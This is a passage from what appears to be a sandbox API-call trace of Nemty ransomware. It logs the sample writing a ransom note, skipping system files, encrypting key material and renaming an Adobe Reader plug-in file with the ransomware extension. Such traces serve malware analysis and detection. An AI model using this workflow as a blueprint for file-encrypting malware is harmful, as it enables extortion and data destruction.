lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUM", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_RUM", lpUsedDefaultChar=0x0) returned 7 [0192.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUM", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_RUM", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_RUM", lpUsedDefaultChar=0x0) returned 7 [0192.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0192.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0192.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0192.060] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.060] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0192.061] CloseHandle (hObject=0x2e8) returned 1 [0192.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0192.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0192.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0192.062] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.062] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0192.063] CloseHandle (hObject=0x2e8) returned 1 [0192.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.063] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x261e0450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x261e0450, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0192.063] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0192.063] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x261e0450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x261e0450, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0192.063] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0192.064] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0192.064] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.RUM", cAlternateFileName="")) returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2=".") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="..") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="...") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="windows") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="$RECYCLE.BIN") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="rsa") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="NTDETECT.COM") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="ntldr") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="MSDOS.SYS") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="IO.SYS") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="boot.ini") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="boot.ini") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="ntuser.dat") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="desktop.ini") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="CONFIG.SYS") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="RECYCLER") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="BOOTSECT.BAK") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="bootmgr") returned 1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="programdata") returned -1 [0192.064] lstrcmpiW (lpString1="Flash.RUM", lpString2="appdata") returned 1 [0192.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUM", lpUsedDefaultChar=0x0) returned 9 [0192.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUM", lpUsedDefaultChar=0x0) returned 9 [0192.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUM", lpUsedDefaultChar=0x0) returned 9 [0192.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0192.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.RUM", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.RUM", lpUsedDefaultChar=0x0) returned 9 [0192.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0192.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0192.066] Sleep (dwMilliseconds=0x5) [0192.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2622c710, dwHighDateTime=0x1d561e8)) [0192.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2622c710, dwHighDateTime=0x1d561e8)) [0192.081] GetLastError () returned 0xb7 [0192.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.081] GetLastError () returned 0xb7 [0192.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.081] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.081] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.081] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0192.081] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="K/edrMlxZX/pEnvAYFatGzt3HvAzZDQ4ZYHcK+7kXTeKZj95jdyKIclBslNP+OeW\r\nttYUqYD42xYcHGlnt/wCB234TZ8xB7ovyyEyjLWGLOmbBJOgoZFY21iokTxYxEm0\r\nWwjTn67/UyxWJrZ5pKLyqgpZW3qvPcU2FO5l/iZy3DVqjpNv37g1SiO6XTX+MgIt\r\nPkWRsHJ0j7gFVLg/YibwqvRd8dWec1zdiZA5eCp+X7sHxjHtgxTBb+FjpzeWxKU3\r\n4dCc2xkP2OPd7wp76zd9nEucaoTkKiyHeQVLtBNo97CqvY2ftS/EvDcbo9MnZL6f\r\n7CEtSkgIpqwHQGneSKM+QQ==\r\n", pcchString=0x653e29c) returned 1 [0192.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0192.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\Flash.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\flash.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.082] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.082] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.082] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.084] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.084] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.084] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.084] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.084] CloseHandle (hObject=0x2f0) returned 1 [0192.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.084] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\Flash.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\flash.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\Flash.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\flash.rum._nemty_kgobjgd_")) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.085] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.RUM", cAlternateFileName="")) returned 1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2=".") returned 1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="..") returned 1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="...") returned 1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="windows") returned -1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="$RECYCLE.BIN") returned 1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="rsa") returned -1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="NTDETECT.COM") returned -1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="ntldr") returned -1 [0192.085] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="MSDOS.SYS") returned -1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="IO.SYS") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="boot.ini") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="boot.ini") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="ntuser.dat") returned -1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="desktop.ini") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="CONFIG.SYS") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="RECYCLER") returned -1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="BOOTSECT.BAK") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="bootmgr") returned 1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="programdata") returned -1 [0192.086] lstrcmpiW (lpString1="MCIMPP.RUM", lpString2="appdata") returned 1 [0192.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUM", lpUsedDefaultChar=0x0) returned 10 [0192.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUM", lpUsedDefaultChar=0x0) returned 10 [0192.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, 